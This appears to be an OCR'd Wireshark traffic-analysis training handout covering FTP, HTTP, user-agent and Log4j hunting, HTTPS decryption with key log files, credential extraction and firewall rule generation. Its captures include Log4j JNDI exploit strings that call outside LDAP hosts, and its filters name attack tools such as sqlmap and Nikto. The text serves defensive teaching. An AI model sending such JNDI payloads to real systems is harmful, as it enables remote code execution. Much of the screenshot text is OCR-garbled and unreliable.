= 538 Login incorrect.\rin
Response code: Not logged in (538)
Response arg: Login incorreet

[Current working directory: ]

4|2 ® ® @ == i
[t B -
M, Time Source Destination Protocol Info |
18.121.79.151 16.234.125.254 Tl Response| 538 Login incorrect.
10 8.831952 18.171.78.151 16.234.125.254 FTP Response:! 331 Password required Tor admin.
11 8.832425 16.234.125.254 19.121.78.151 FIR Request: PASS merlin
13 ©,0840513 18.3121,70.151 1g.234.125.254 FTP Response! 536 Login incorrect.
16 0,08509657 18,121.78.151 10.234 1235, 254 FTP Response: 331 Password required for admin.
17 0,651363 18.334,125,254 16.121.78.151 FTP. Request; PASS mercury
19 8, 852988 18.121. 70151 16,234.125.254 FTP Response; 331 Password required For admin.
20 0.6859883 16.121.78.151 16.234.125.254 FTe Response: 331 Password required far admin.
21 8.859533 18,234,125.254 10,121.79.151 TP REgUEST ) PASS mecs —_—
29 0.188568 10.121.79.151 10,234,125, 254 FTp Response: 538 Login incorrect.
32 0128824 18.121.706.151 18.234.125.254 FTP Response: 538 Login dincorrect.
39 0.145896 18.421.78.151 16.234.125. 254 TP Response: 538 Login incorrect
4T @, 195865 1B.234.125.254 16.121.78.151 FTP Request: PASS mgr
; B2 A PATRAR 1R 121 7R 151 1A P34 125 P54 FTR Resnnnse’ 72R FTR Seruice =
v Frame 4: 76 bytes on wire (808 bits), 76 bytes captured (688 bit | @268 BB d@ 59 aa af 88 B 3c 3f aB 68 B0 45 68 o w-:? E
v Ethernet 1T, Src: BE:81:96:3c:3f:a8, Dst: 00:d8:59:aa af A8 Qi BB 3e S5e 27 40 00 Ze 66 14 9b Ba 79 46 97 Oa ea AR, yF
+ ‘Internet Protecol Version 4, Src: 18.121.70,151, Dst: 18.234.125) 0 7d fe ©0 15 68 ap 4b b 47 93 42 T3 b6 ef 50 18  } K{ G Bs P
, Transmission Control Protocol, Src Port: 21, Dst Port; 2217, Seq (090 cB @0 5b de 00 00 35 33 30 20 dc 6f 67 69 Ge 28 [N -53 8 Login
68 6e 63 BF 72 72 B5 63 74 2e 8d @a incorrec t,

Cleartext Protocol Analysis: HTTP

HTTP Analysis

e Hypertext Transfer Protocol (HTTP) is a cleartext-based, request-response and client-server

protocol. It is the standard type of network activity to request/serve web pages, and by default, it is

not blocked by any network

perimeter. As a result of being unencrypted and the backbone of web traffic, HTTP is one of the

must-to-know protocols in traffic analysis. Following attacks could be detected with the help of
HTTP analysis:

nutshell:

Phishing pages

Web attacks

Data exfiltration

Command and control traffic (C2) HTTP analysis in a

Notes

Wireshark Filter

transfer and request&response multiplexing.

Global search Note: HTTP2 is a revision of the HTTP protocol for

better performance and security. It supports binary data

® http ® http2

"HTTP Request Methods" for grabbing the low-hanging fruits: *
GET * POST ° Request: Listing all requests

® http.request.method == "GET" ®
http.request.method ==

"POST" ® http.request

"HTTP Response Status Codes" for grabbing the low-hanging

® http.response.code ==
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fruits: * 200 OK: Request successful. * 301 Moved Permanently:
Resource is moved to a new URL/path (permanently). « 302 Moved
Temporarily: Resource is moved to a new URL/path (temporarily). ®
400 Bad Request: Server didn't understand the request. 401
Unauthorised: URL needs 403
Forbidden: No access to the requested URL. ¢ 404 Not Found:
Server can't find the requested URL. * 405 Method Not Allowed:
Used method is not suitable or blocked. * 408 Request Timeout:

authorisation (login, etc.).

Request look longer than server wait time. « 500 Internal Server
Error: Request not completed, unexpected error. * 503 Service

Unavailable: Request not completed server or service is down.

200 ® http.response.code
=401 ®
http.response.code =
403 ® http.response.code
==404 ®
http.response.code ==

405 ® http.response.code

==503

"HTTP Parameters" for grabbing the low-hanging fruits: * User agent:
Browser and operating system identification to a web

server application. * Request URI: Points the requested resource from
the server. ¢ Full

*URI: Complete URI information. *URI: Uniform Resource

Identifier.

® http. user_agent contains
"nmap" ® http. request . uri
contains "admin" ®

http. request . full_uri

contains "admin"

"HTTP Parameters" for grabbing the low-hanging fruits: ¢ Server:
Server service name. * Host: Hostname of the server « Connection:
Connection status. * Line-based text

data: Cleartext data provided by the server. « HTML Form URL

Encoded: Web form information.

® http.server contains "apache"
http. hest contains "keyword"
http. host ==

"keyword" ®

http. connection =—

"Keep-Alive" ®  data-text-

contains "keyword"

lines|

User Agent Analysis

» As the adversaries use sophisticated technics to accomplish attacks, they try to leave traces similar

to natural traffic through the known and trusted protocols.

For a security analyst, it is important to spot the anomaly signs on the bits and pieces of the
packets. The "user-agent" field is one of the great resources for spotting anomalies in HTTP
traffic.

In some cases, adversaries successfully modify the user-agent data, which could look super natural.

A security analyst cannot rely only on the user-agent field to spot an anomaly.

Never whitelist a user agent, even if it looks natural.
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» User agent-based anomaly/threat detection/hunting is an additional data source to check and is

useful when there is an obvious anomaly. If you are unsure about a value, you can conduct a web

search to validate your findings with the default and normal user-agent info (example site).

User Agent analysis in a nutshell:

Notes Wireshark Filter

Global search. ® http.user_agent

Research outcomes for grabbing the low-hanging fruits: ¢
Different user agent information from the same host in a
short time notice. * Non-standard and custom user agent
. X . " s ® (http.user_agent contains "sqlmap") or
info. ¢ Subtle spelllng differences. ("Mozilla" is not the (http.user_agent contains "Nmap") or (http.user agent
same as "Mozlilla" or "Mozlila") « Audit tools info like contains "W fuzz") or (http.user_agentcontains "Nikto")
Nmap, Nikto, Wfuzz and sqlmap in the user agent field. ¢

Payload data in the user agent field.

128 HTTR GET /evox/about WTTR/1.1 Morilla/s.
16.172.143 L BET /dvwal.bashro.php HTTR/1.1 Flizzd

GET /dvwa/ . svn.php HTTP/1.1

v Frame 19: 207 bytes on wire (1655 bits), 297 bytes captured (1656 bits) 29 78 63 G0 Bc 29 49 Tc 6 6O B 45 9O PV)xc
v Ethernet I, Src: 60:8c:29:49:7c:c6, Dst: BB:50:56:29:78:63 Th 48 @8 48 BE b3 94 ac 10 ac B4 ac 10 {28
» Internet PFrotocol Version 4, Sre: 172.16,172.132, Dst: 172.16.172.129 ab B0 58 74 o 41 90 ad eb 29 SF 88 18 Pt|
+ Transmission Control Protocal, Src Port: 45478, Dst Port: 88, Seq: 1, Ack: 1, Len: :; 353 3: :;— 2: \3: ?\? ;: gf gl’ :; :ﬂ;‘ ?g Al
e RS, shiine e R T et st Bt St i Bt SR Ve SR Al 51 7 e
’f"%%"ﬁ%t ﬂf"m?.” f'p%;ml'i‘r‘l‘%i:ﬁr- i 2e 76 68 70 26 4B 54 54 50 2f 31 2e 31  hrc.php
Host: 172.16.172,120%t\n 6f 73 74 3a 268 31 37 32 2e 31 36 2e 31 Host:
Accept: */%ursn 3132 39 8d @a 41 63 63 65 70 74 3a 20 72.129
= Srit 0d Ba 43 6f 62 74 65 6e 74 2d 54 78 78 /% Lo

- ano ¢ - v~ Form-ur lencodedsrin
geil s Wiazz 2 avey

[Full request URI: http://172.16.172,179/dvwa/.bashre.ponp] e g L : "
[HTTP reguest 1/12] }
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Adm 7 ® R @ - |2 i

| M | http.user_agent 2
Source Destination Protocol  Info User-Agent
192.168.3.131 209 17.73:30 HTTR GET ralbums/y299/Realnez/IMGP2383-1. jpg HTTP 1.1 Mozillas5.8 (Windows
192,168.3.131 288.17.73.30 HTTP GET /albums/y235/Realnez/IMGP2304-1.jpg HTTR/1.1 Mozilla/ss.68 (Windows;
182.168.3.131 208.82.236.129 HTTP GET /van/mcy/2137728782.html HTTP/1.1 Mozilla/5.8 (Windows;
102,168.3.131 208.82.236.130 HTTP GET /3m13p13105(55Z65X8acvaB37 70026741226, 1p0 HTTP/1 .1 Mozilla/5.8 (Windows;
192.168.3.131 Z66.82.236.138 HTTP GET /2kd3m13055029415Pdacvibefatadasdel3bs. jpg HTTR/A1.1 Mozilla/s.8 (Windows;
182.168,3.131 288.82.236.1289 HTTR GET /van/mcy/2147374698.html HTTPA1.1 Mozilla/5.68 (Windows
172 16.172 132 172 16.172.128 HTTP POST /sdk HTTR/1.1 Morilla/f 8 (compatib
172,16.172,132 172.16,172.129 HTTP GET /nmaplowercheckl1581446587 HTTP/1.1 Mozilla/S.6 (compatib
172.16.172.132 172.16.172. B {compatib

(v
Wi/ . bas
HTTP/1.1
172.16.1
Accept:

tent-Typ
cation/x

[Next reguest in frame: 11]

Log4j Analysis

¢ Log4j Analysis refers to the process of examining and assessing the logs generated by the Apache

Log4j framework in order to identify security vulnerabilities, operational issues, or other relevant

insights within an application or system.
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» A proper investigation starts with prior research on threats and anomalies going to be hunted.

Let's review the knowns on the "Log4

J

Log4j vulnerability analysis in a nutshell:

attack before launching Wireshark.

fruits: ¢ The attack starts with

Notes Wireshark Filters
Research  outcomes  for
grabbing the low-hanging
® http.request.method == "POST" ® (ip contains "jndi") or ( ip contains "Exploit") ® (frame

(http.user_agent contains "$") or

a "POST" reques‘[ o There arel contains "jndi") or ( frame contains "Exploit") ®
(http.user_agent contains "==")

known cleartext patterns:

"jndi:ldap" and|

"Exploit.class".

File Edit view go Capture pAnzlyze Statistics Telephony wireless Tools Help

|

B ®

& @ =

=

ol
-

1 {ip contains “jndi") o {ip contains "Exploit))

Destination

Mo, Time source Frotocol  finfo -
d44 3163.829852 45.137.21.9 S

9994 72034474815 151.35.155,238 198,71.247 891 HTTPR GET / HTTR/1.1
9998 72654.647559 161.35.155,. 238 198.71.247.91 HTTP GET /favicon.ico HTTR/1.1
11340 BAGTF7.623532 128.199.15.215 198, 7. 24791 HTTP GET / HTTP/1.1
11629 84535, 729922 128.199.15,215 158,71.247.91 HTTP GET /S%7BIndi:ldap://hetpBbpath. kryptoslogle-cve-2021-442,
18071 97934, 247752 45.15%.205,233 198, 71,247, 91 HITP GET S7x=h{jndii ldap:/ /45,155,268, 233 12344/Basic/Command.
16253 99511,100596 20.71.156.146 198.71.247.91 HTTP GET /$%7Bjndi:ldap://45.138,229.168, 1368/ ExpLloit®7D HTTR/,
17618 189724.0835. 177.185.117.129 198.71.247.891 HTTP L HITP/1. X
17627 1097243148, 177.185.117 179 198, 71247 .91 HTTE BET / HTTP/1.1 -
17637 105724.5459 . 177.185.117.129 198.71,247.91 HITR GET / HTTR/1.1
17647 189724.76B4.. 177.185.117,129 198,71.247.91 HTTP GET / HTTP/1.1
23395 1374e5.2102.. 61.175.292.154 198,71.247.91 HTTP GET J/ HTTPR/1.1
23401 137465.3793.. 01.175,2082.154 198,71.247,91 HTTP GET J HTTR/1.1
23417 1274A5 5979 R1 175 282 154 148 71 247 @1 HTTP BET ./ HTTR/1 4 %

» Frame 444: 447 bytes on wire (3576 bits), 447 bytes captured (3576 bits) on interf; 00 69 38 @6 B8d ce

nsmission Control Protocol, Src Port:

hat/Sequence): POST / HTTP/1.1\r\n]
Reguest Method: POST

Request URI: /

Request Version: HTTP/1.1

User-Agent: Srindi:ldap://45.137.21. 91388/ Basic/Command./ B
Host: 188.71.247.91\r\n

Accept: text/html,application/xhtml+xml, application/xml;q=0.3, image/webp, /" g=0
Accept-Language: en-US en;g=B.5\r\n

Accept-Encading: gzip, deflate\rsn

Connection: closeirin

a4/ d2d1dCBodHRWILEY

« Ethernet II, Src: 64:9e:f3:be:db:66, Dst: @@:16:3c:fi:fd:6d 88 58 54 27 fb 2a
» Internet Protocol Version 4, Src: 45.137.21.9, Dst: 198.71.247.91 00 6@ B1 91 OB Ba
» Tra 38798, Dst Port: HA, Seq: 1, Ack: 1, len: 53 54 28 27 20 48 5

a9 ¢ 8
23 [ PT
a5

2f

64/ d2did
e TuM
CayNTAvh

ticn/xht ml+xml, a

Upgrade-Insecure-Requests: 1vrin pplicati onsxml;q
W =8.9,ima ge/webp,
[Full reqguest URI: http.//196.71.247 *r*iq=0. B--Accep
[HTTP request 1 C-Langua ge: en-U
[Response in frame: 446 S,en;q=8 .5- Acce
Be 63 6 64 69 6o 67 Ta 69 prL-Encod ing: gzdi

L

GOUE2QTY|
dpghGguc

Encrypted Protocol Analysis: Decrypting HTTPS

Decrypting HTTPS Traffic

* When investigating web traffic, analysts often run across encrypted traffic. This is caused by

using the Hypertext Transfer Protocol Secure (HTTPS)

protocol for enhanced security against spoofing, sniffing and intercepting attacks.
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e HTTPS uses TLS protocol to encrypt communications, so it is impossible to decrypt the traffic and

view the transferred data without having the encryption/decryption key pairs.

* As this protocol provides a good level of security for transmitting sensitive data, attackers and
malicious websites also use HTTPS.

¢ Therefore, a security analyst should know how to use key files to decrypt encrypted traffic and
investigate the traffic activity.

The packets will appear in different colours as the HTTP traffic is encrypted. Also, protocol and info
details (actual URL address and data returned from the server) will not be fully visible. The first image
below shows the HTTP packets encrypted with the TLS protocol. The second and third images
demonstrate filtering HTTP packets without using a key log file.

File Edit Vview Go Capture Analyze Statistics Telephony wireless Tools Help

rifll el ® @& == i
A |ppoly 2 display Filter ... <Ctrt: = -
po. Time Source Destination Protocol info —

. BBa0es

726443

239.255.255.258

238

* HITP/1.1

2 8,698978 : 182.168.1.1 DNS sStandard query @x3865 A clientservices.googleapls.ci
3 8,711564 192.168,1.12 192.168.1.1 DNS Standard query ©@x8518 A accounts.google.com |
4 8.712758 192.3168.1.1 192.168.1.12 DNS Standard query response Bx4065 A clientservices.goo——
5 8, 719866 192.168.1.1 192.168.1.12 DNS Standard query response 9x6518 A amccounts.google.co )
6 8, 724837 192 _168.1.12 192 .168.1.1 DNS Standard query 8x4085 A clientservices. googleapis.ci

=SEARCH

Client Hello

172.217.
754185 192. 172.217.

il
755173 - 12

172.217.1T7.237 64511 - 443 [ACK] Seq-1 Ack=1 Win=262912 Len=8
16 2,755456 192.168.1,12 172.217.17.237 TLSv1.3 client Hello
17 &. 781004 172.217.17.227 192.168.1.12 TCR 443 — 64512 [ACK] Seq=1 Ack=518 Win=66816 Len=e
18 8.785015 172.217.17.237 192.168.1.12 TCR 443 — 64511 [ACK] Seq=1 Ack=518 Win=66816 Len=0
19 A R13968 AT2. 297 17237 1A2.1RR.1.12 TiSwl o Sexyer Hello Change Cipher Spegc

File Edit View Co Capture Analyze Statistics Telephony Wireless Tools Help
A 8 @ ¥ e ==
[http ]
Mo,  Time source Destination Protocol  Info

Eile Edit View Go cCapture analyze statistics Telephony Wireless Tools Help
Am 1 ® 1R E ==

Alhttpa] - 85 -
Mo Tirme Source Destination Protacol info

Additional information for HTTPS :

Notes Wireshark Filter

"HTTPS Parameters" for grabbing the low-hanging fruits: ¢ Request:
Listing all requests * TLS: Global TLS search * TLS Client Request « TLS
Server response * Local Simple Service Discovery

® http.request ® tls
tls.handshake.type

| l L]
tls.handshake.type

Protocol (SSDP) Note: SSDP is a network protocol that provides

advertisement and discovery of network services.

==2* ssdp

Simiar to the TCP three-way handshake process, the TLS protocol has its handshake process.

The ¢irst two steps contain "Client Hello" and "Server Hello" messages.
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The given filters show the initial hello packets in a capture file. These filters are helpful to spot
which IP addresses are involved in the TLS handshake.

Client Hello: (http.request or tls.handshake.type == 1) and ! (ssdp)

Server Hello: (http.request or tls.handshake.type == 2) and !(ssdp)
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Ele Edit Yiew go Copture Analyze Stotisti lephony Wireless Tools Help

Am2® « T RE = b
R [{ntep.request of tis handshake.type == 1) and 1(5sdp)
No.  Time 50! Protocol

Info

13 6. 754105 1 58.1.12 7 TLSv1.3  Client Hello
10 9. 755450 182.108.1.12 ATZ.217.17.23T TL3V1.3 Client Mello
53 0.889384 192.168.1.12 172.217.17.196 TLSv1.3 Client Hello
04 0.910063 192.108.1.12 172.217.17.196 TLSv1.3 Client Hello
76 8.958598 182.168.1.12 172.217.17.196 TLSvi.3 Client Hello
260 3.526591 192.168.1.12 172.217.20.74 TLSv1.3 Client Hello
289 3.575838 192.168.1.12 172.217.28.74 TLSv1.3 Client Hello
388 3.731085 162.168.1.12 172.217.20.78 TLSvi.3 Client Hello
572 4.274527 192.1068.1.12 216,58.200.194 TLSvl.3 Client Hello
580 4.313172 182.168.1.12 216.58.206.198 TLSvi.3 Client Hello
660 4.330100 192.108.1.12 #106.58,214.138 TLSv1.3 client Hello
894 4.941191 192.168.1.12 172.217.17.99 TLSv1.3 Client Hello
985 5.762164 192.168.1.12 142.250.187.168 TLSv1.3 Client Mello
1. 6,.889572 182,168.1.12 142.250.187.131 TLSvl.3 Client Hello
1. 12.523681 192.168.1.12 185.47.40.36 TLSv1.3 Client Hello
1.12.526718 182.1068.1.12 185.47.40.30 TLSv1.3 Client Mello
1_156.927825 192.168.1.12 172.217.169.17@ TLSv1i.2 Client Hello
1. 17.6490620 192.168.1.12 87.238.33.7 TLSvi.2 Client Hello
L] 192 1RA 1 12 A7 23R 33 7 Ti&wi 2 Clisat HWelln .
+ Frame 13: 571 bytes on wire (4568 bits), 571 bytes captured (4508 bits) : 00b0 08 3 6 65
+ Ethernet 11, Src: ©0,8c:29:98:c7:a8, Dst: 50:78:b3:f3:cd:fd eoce [E T 09 7
+ Internet Protocol Version 4, Src: 192.166.1.12, Dst: 172.217.17.227 ande ea 6a 80 Ga 60
3 s ga ; 443, Seq: 1, A €0 62 61 60 00
[ Transport Layer Security d 08 68 74 74
= TLSV1.3 Record Layer: Handshake Protocol: Client Hello eo 82 60 60 od
Content Type: Handshake (22) e3 63 @3 @35 o1
Version: TLS 1.0 (6x0201) 12 00 29 9a 9%a
y -] d5 36 9f od
bRagun; oz 14780 i se dd d2 c7 49
+ Handshake Protocol: Client Hello a2 081 80 2b 80
Eile Edit View GCo Capture Analyze Statistics Telephony Wireless Jools Help
dm 0o R € = = i
R | (http.raquest or tishandshake type == 2} and I(ssdp) F a
Mo, Time Source Destination Protocol Info
19 0. 813950 172.217.17.237 192.108.1.12 TeSvi.3  Server Mello, Change Cipher Spec
24 8.815418 172,217 .17.227 192.168.1.12 TLSw1.3 Server Hello, Change Cipher Spec
77 ©.955660 172.217.17.198 192.168.1.12 TLSvi.3 Server Hello, Change Cipher Spec I
B7 8.475115 172.217.17.196 192.168.1.12 TLSv1.3 Server Hello, Change Cipher Spec
1.910213 2,217, 192,168.1 Change
298 3, 588909 172.,217.28.74 192.168.1.12 TLSv1.3 Server Hello, Change Clpher Spec
342 3.637284 172.217.20.74 192.168.1.12 TLSwi.3 Server Hello, Change Cipher Spec
398 3, 792255 172.217.20.78 192.168.1,12 TLSv1.3 Server Hello, Change Cipher Spec
620 4_381328 216.58 288 194 192 _168.1.12 TLSw1.3 Server Hello, Change Cipher Spec
651 4.398633 2106.58.200.193 192.168.1.12 TLSv1.3 Server Hello, Change Cipher Spec
656 4.399291 216.58.214 138 192.168.1.12 TLSvi.3 Server Hello, Change Cipher Spec
901 5.001760 172.217.17.99 192.168.1.12 TLSv1.3 Server Hello, Change Cipher Spec
996 5. 821469 142.250.187.168 192.168.1,12 TLSvi.3 Server Hello, Change Cipher Spec
1.6.959426 142,.250.187.131 192.168.1.12 TLSvi.3 Server Hello, Change Cipher Spec
1. 12.608801 185.47.40.36 192.168.1.12 TLSv1.3 Server Hello, Change Cipher Spec, Application Data
1. 12.628832 185, 47 .48, 38 192.168.1.12 TLSv1.2 Server Hello, Change Cipher Spec, JApplication Data
1. 16.968483 172.217.169.176 192.108.1.12 TLSv1.3 Server Hello, Change Cipher Spec
1.17.739458 87.238.33.7 192.168-1.12 TLSv1.2 Server Hello
z 1. 21 ARAKAA AT 23A 33 7 182 14R 1 12 IlSl 2 Seoxer Hello  Chagae Cipher Sgec JFnerunted &u\ndlh?
+ Frame 181: 1484 bytes on wire (11872 bits), 1484 bytes captured (11872 b 60 Oc 29 96 c7 aB 50 VB b3 f3 cd f4 93 00 45 @0
» Ethernet II, Src: 50:78:b3:f3:cd:f4, Dst: 09:0c:29:08:c7:a8 65 be 41 6b 50 90 38 86 bb 7d ac d% 11 c4 cB a8
+ Internet Protocol Version 4, Src: 172.217.17.198, Dst: 192.168.1.12 61 0c 01 bb fc 83 37 dc 47 65 94 00 ab 55 30 10
. Transmise ontrol Protocol, Src Port: 443 Dst Port: 64515 Seg: 1,/ 61 05 96 35 @0 08 16 63 63 60 Ta B2 B0 80 76 63
~ Transport Layer Security 63 e5 63 c2 6d ab cc 4c S ec de 38 00 8e 62 fe
= TLSv1.3 Record Layer: Handshake Protocol: Server Hello 2e 51 b3 dd 1f cB €2 6c 06 U6 ad 35 ab LG Ge T
Content Type: Handshake (22) ¢S5 28 ec 36 c5 &b 9 87 48 d9 &5 96 2¢ 11 a1 17
version: TLS 1.2 (Bx8303) 2f ca 4b 16 06 2F ©b 97 1e d2 64 06 eb 32 ac 92
Length: 122 72 77 13 91 00 90 2e ©0 33 00 24 00 1d 90 20 22
» Handshake Protocol: server mello 2 63 d4 fb 72 4b de 6c 47 de 86 aa 91 9F 2b e6
« TLSv1.3 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec a ce 87 9d 66 bf Sa 17 dd 75 46 Tc eb 70 54 €0
s s = 5 ° i Zb 66 02 B3 64 14 63 €3 ©0 81 01 17 63 83 19 37
Content Type: Change Cipher Spec (26) 78 4d 3e 4a Sa 9b f2 af de Sb c9 TS 12 6c 9d S8
Version: TLS 1.2 (8x6383) €5 53 97 £3 9a 48 3¢ b9 Sb 7f 35 bf 2¢ 84 36 <9
Length: 1 a5 a4 23 c9 Sa 50 d5 ec &0 b5 fa 1 cf 2c Be 3c
Change Cipher Spec Message B6 d3 db ad 50 Ba 92 a5 f9 b9 3e b7 de &4 ca b7
a4 d8 82 37 2b 68 7 6d f3 3c S5e ab 73 d& 30 Sb

An encryption key log file is a text file that contains unique key pairs to decrypt the encrypted

traffic session.

Thesge key pairs are automatically created (per session) when a connection is established with an

SSL/TLS-enabled webpage.

As tlese processes are all accomplished in the browser, you need to configure your system and use a

suitable browser (Chrome and Firefox support this) to save these values as a key log file.
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» To do this, you will need to set up an environment variable and create the SSLKEYLOGFILE,

and the browser will dump the keys to this file as you browse the web.

* SSL/TLS key pairs are created per session at the connection time, so it is important to dump the

keys during the traffic capture. Otherwise, it is not possible to create/generate a suitable key log file

to decrypt captured traffic.

¢ You can use the "right-click" menu or "Edit --> Preferences --> Protocols --

> TLS" menu to add/remove key log files.

Adding key log files with the "right-click" menu:

e Lot Yirw o faptue fadpe Gratiie Telsgbany Wheiess [ocln fes
aAm @ "
i Erpaac birrs

P, Time pr
1 ooead 102

Tramspork Layer Security
RSAkeyslist | Edit..
LS debug file
Browse...
¥ TLS records lLiple TCP segments
o TLS Appl multlple TLS records
Message Authentication Code (MAC), ignare “mac failed”
Pre-Shared-Key
[Pre}-Master-Secret iog filename
[ Brawse. .
i

 Apprarane =
s Protocols
Font and Colo’ Dizplay hidden protecol items

Lock far incomplets dissectors
Erable stiicter carwersation tracking btk

Tire a0
Pathet Gormment

Uit Al Ficiet Commariy
Lol st Prodies

cancel

o |

TIME

TiEC WA beyslist | EdL...

TLE cebrg e
Browsa...

Token-Fing

TRCR + gl =

Pt

TRMAL ns TLE reconds
ToCe o :
Lisorrt SO Pasage AULhEntication Code (MACL ignare “Teac falless
TSENS Pretharec-key

5P

e [Pre} Mater Secret log Plename:

TURNCHANN.

Tungoe Browna...
TEsp

uazg

UASF

uRUDE

e

UBEATOOTH

e
Help —

* Transport Layar Securlty

Viewing the traffic with/without the key log files:
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AR @ =) =
i [ttp2]
No. Time Source Destination

File Edit Yiew Go Capture Analyze Statistics Telephony Wireless Tools Help

Protocol

Info

Without Key Log File

E View Go Capture Analyze Statistics Telephony Wireless Tools Help With K‘V l'og File
AN - ©® R @ = B
| A [http2 ] =
M. Time source Destination Protocol Info —
32 6.R36852 182.108.1.12 172.217.17.227 HTTPZ Magic, SETTINGS[@], WINDOW UPDATE[8]
34 0.838622 192,168.1.12 172.217.17.227 HTTP2 HEADERS([1]: GET /chrome-variations/seed?osname=wind
35 6. B38TE2 192.168.1.12 172.217.17.237 HITP2 Magic, SETTINGS[B], WINDOW _UPDATE[B]
¥ A72IZET LT HEADERS[1]1: POST /ListAccounts?gpsia=i&source=Chrom|
37 8.838925 182,168.1.12 172.217.17.237 HITPZ DATA[1] (application/x-www-Torm-urlencoded)
41 §.664254 172.217.17.227 192.168.1.12 HTTP2 SETTINGS[B], WINDOW UPDATE[E]
4Z 8. B64254 172.217.17.227 192.168.1.12 HTTPZ SETTINGS[E]
43 8.B664254 172,217.17.237 182.168.1.12 HTTPZ SETTINGS[E], WINDOW UPDATE[E]
45 8, B64644 172,217.17.237 192.168.1.12 HTTP2 SETTINGS[B]
47 8.864918 192.168.1.12 172.217.17.237 HITP2 SETTINGS[8]
48 0. B65045 192,168.1.12 172.217.17.227 HTTP2 SETTINGS[E]
56 6.895971 172.217.17 227 192.168.1.12 HTTRZ HEADERS[1]: 384 Not Modified
57 0.896082 172.217.17.227 192.168.1.12 HTTP2 DATA[1]
58 @, 896882 172.217.17, 227 192.168.1.12 HTTP2 PING{E]
68 6 .B96856 192.168.1.12 172.217.17.227 HTTPZ2 PING[E]
68.8.027483 172.217.17.237 192.168.1.12 HTTP2 HEADERS[1]: 2€8 OK
63 @.927Ta7 172.217.17, 237 152.168.1.12 HTTPZ DATA[1] (application/json)
78 8.927787 172.217.17.237 192.168.1.12 HTTP2 PING[E]
. 72 A A28656 182 1R 1 12 172 217 17 237 HTTPZ PTNGIAT :
v Frame 36: 589 bytes on wire (4712 bits), 58 00 B9 €0 67 3a 6d 65 74 6B 6f 64 80 TMEL NOg ¥
+ Ethernet II, Src: B6:8c:29:98:cT:a8, Dst: S 4f 53 54 60 00 90 Ga 3a 61 75 74 68 05T : authorit
+ Internet Protocol Version 4, Src: 192.168.1 . 79 €9 80 B0 13 61 63 63 6T 75 Ge 74 ¥ acc ounts.go
& 6f 67 6c 65 2e 63 6f 6d 00 00 60 07 ogle.com :sch
- Transport Layer Security 65 6d 65 60 B8 88 85 68 T4 74 70 73 e h tips
s s Lo i i R RO U RS RS L
. 1 B f s5la=
gnaqus Typs: ':'I’;l?g:;;;’;]lm“ @ 6F 75 72 63 65 3d 43 68 72 6f 6d 69 ource=ch romiungr
Mo nEoBe s andn Sy s
. 2 e Ar Cc ontent-
Lountint Type s Anplication bata L) ] 65 Ge 67 74 68 00 00 00 01 31 60 60 4o 06 ength 1 or
8 69 67 69 Ge 89 98 89 16 68 74 74 70 §3 3a 2 igin https://
» HyperText Transfer Protecol 2 77 77 77 2e 67 6f 6F 67 6c €5 Ze 63 QF 6d i, j00g le.com
88 6c 63 6f Ge 74 65 6e 74 2d 74 79 65 conten t-type
09 21 61 70 70 6c 6D &3 61 T4 69 6T 2f fapplic ation/x-
77 77 77 2d 66 6f 72 6d 2d 75 72 Gc 6e wvel - form -urlenco
64 65 64 B9 05 B9 02 73 65 63 2d 66 74 ded s ec-fetch
2d 73 €9 74 65 00 60 00 04 6o 6f Ge ) -site none
B8e 73 65 63 2d 66 65 74 63 68 2d 6d 64 sec-fet ch-mode
2136 00 60 e7 Ge 6f 2d 63 6f 72 73 €0 60 Be no-co rs
8140 80
9 85 6d /@ 74 79 B9 08 89 0a (5 /3 65 2d empty user-ag
n ’I Frame (589 bytes)  Decrypted TLS (513 bytes) | Decompressed Header (851 Wle_z-)’]
e
O ¥ Payloadis encrypted application data (tls.app_data), 530 byte(s) Packets: 1760 - Displayed: 115 (6.5% Profile: Default

The above image shows that the traffic details are visible after using the key log file. Note that the

packet details and bytes pane provides the data in different formats for investigation. Decompressed

header info and HTTP2 packet details are available after decrypting the traffic. Depending on the

packet details, you can also have the following data formats:

* Frame

¢ Decrypted TLS

¢ Decompressed Header ¢ Reassembled

TCP

» Reassembled SSL

Hu¥t Cleartext Credentials!

Bonus: Hunt Cleartext Credentials!
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Some Wireshark dissectors (FTP, HTTP, IMAP, pop and SMTP) are programmed to extract
cleartext passwords from the capture file. You can view detected credentials using the "Tools -->
Credentials" menu. This

feature works only after specific versions of Wireshark (v3.1 and later). Since the feature works
only with particular protocols, it is suggested to have

manual checks and not entirely rely on this feature to decide if there is a cleartext credential in the
traffic.

Once you use the feature, it will open a new window and provide detected credentials. It will show
the packet number, protocol, username and

additional information. This window is clickable; clicking on the packet

number will select the packet containing the password, and clicking on the username will select the
packet containing the username info. The additional part prompts the packet number that contains

the username.

Wireshark - Credentials - Bonus-exercise.pcap
Packet N~ Protocol Username Additional Info -
41 FTP admin Username in packet: 12
44 FTP admin Username in packet: 15
53 FTP admin Username in packet: 25
Tools =) 55 FTP admin Username in packet: 29
= 78 FTP admin Username in packet: 57
Firewall ACL Rules 86 FTP admin Username in packet: 62

7 S N 119 FTP admin Username in packet: 89
Credentials s 124 FTP admin  Username in packet: 93
126 FTP admin Username in packet: 97
170 FTP adminis... Username in packet: 136
210 FTP adminis... Username in packet: 173
223 FTP adminis... Username in packet: 187
233 FTP adminis... Username in packet: 196 -
[ close

Actionable Results!

+ Wireshark is not all about packet details; it can help you to create firewall rules ready to implement

with a couple of clicks.

¢ You can create firewall rules by using the "Tools -->
Firewall ACL Rules" menu. Once you use this feature, it will open a new window and provide a
combination of rules (IP, port and MAC address-
based) for different purposes. Note that these rules are generated for implementation on an outside

firewall interface.
Currently, Wireshark can create rules for: ¢ Netfilter
(iptables)
¢ Cisco IOS (standard/extended)
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IP Wilter (ipfilter) IPFirewall
(ipfw) Packet filter (pf)

Windows Firewall (netsh new/old format)

# IPv4 source address.

iptables —append INPUT —in-interface eth0 —source 10.234.125.254/32 —jump DROP

# IPv4 destination address.

# Source port.

DROP

Firewall ACL Rules [
Credentials

# Destination port.

# IPv4 source address and port.

Lua source-port 2235 —jump DROP

# IPv4 destination address and port.

source-port 21 —jump DROP

iptables —append INPUT —in-interface eth0 —source 10.121.70.151/32 —jump DROP

iptables —append INPUT —in-interface eth0 —protocol tcp —=source-port 2235 =jump

iptables ~append INPUT —in-interface eth0 ~protocol tcp ~source-port 21 ~jump DROP

iptables —append INPUT —in-interface eth0 —protocol tcp —~source 10.234.125.254/32 -

iptables ~append INPUT =in-interface eth0 —protocol tcp ~source 10.121.70.151/32 -

Create rules for  Netfilter (iptables) > kl I v Inbound

v Deny

Help Copy glose_

Save

Tasks:

Task 1: Capturing and Exporting Objects

